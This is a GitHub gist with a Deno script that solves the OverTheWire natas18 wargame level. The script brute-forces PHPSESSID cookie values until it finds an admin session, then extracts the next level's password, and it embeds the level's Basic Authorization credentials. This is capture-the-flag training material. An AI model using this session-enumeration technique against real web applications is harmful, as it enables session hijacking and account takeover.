Skip to content

Instantly share code, notes, and snippets.

@aravindkumarsvg
Created June 1, 2026 12:32
Show Gist options
  • Select an option

  • Save aravindkumarsvg/ccdc0bfb0de2c446a3c0ecca7faf8d26 to your computer and use it in GitHub Desktop.

Select an option

Save aravindkumarsvg/ccdc0bfb0de2c446a3c0ecca7faf8d26 to your computer and use it in GitHub Desktop.
OverTheWire natas 18 Solution. natas18 contains cookie manipulation vulnerability. This javascript based deno script contains the solution to obtain the password for natas19 by manipulating cookie
/**
* Prerequisites:
*
* 1. Update the Basic Authorization value
* 2. Install deno runtime - https://docs.deno.com/runtime/getting_started/installation/
*
* Command:
*
* deno run --node-modules-dir=none --allow-net --allow-env natas18.js
*/
import axios from 'npm:axios';
const headers = {
'Host': 'natas18.natas.labs.overthewire.org',
'Authorization': 'Basic bmF0YXMxODo2T0cxUGJLZFZqeUJscHhnRDRERGJSRzZaTGxDR2dDSg=='
}
const baseUrl = "http://natas18.natas.labs.overthewire.org/"
function natasRequest(id) {
return new Promise(async (resolve, reject) => {
let response = (await axios.get(baseUrl, {
headers: {
...headers,
Cookie: `PHPSESSID=${id}`
},
})).data
if (response.includes("You are an admin.")) {
let matches = (/Password:\s([a-zA-Z0-9]+)<\/pre>/g).exec(response)
return resolve(matches[1]);
}
return reject()
})
}
async function main(batch = 10, max = 640) {
let password = "";
for (let i = 0; i <= max; i += batch) {
let promises = []
for (let j = i; i <= max && j <= max && (j < (i + batch)); j++) {
promises.push(natasRequest(j))
}
let promisesSettle = await Promise.allSettled(promises);
promises = []
for (let item of promisesSettle) {
if (item.status == "fulfilled") {
password = item.value
break
}
}
if (password) break
}
return password;
}
let password = await main();
console.log("Password Length: ", password.length, "\nPassword: ", password,)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment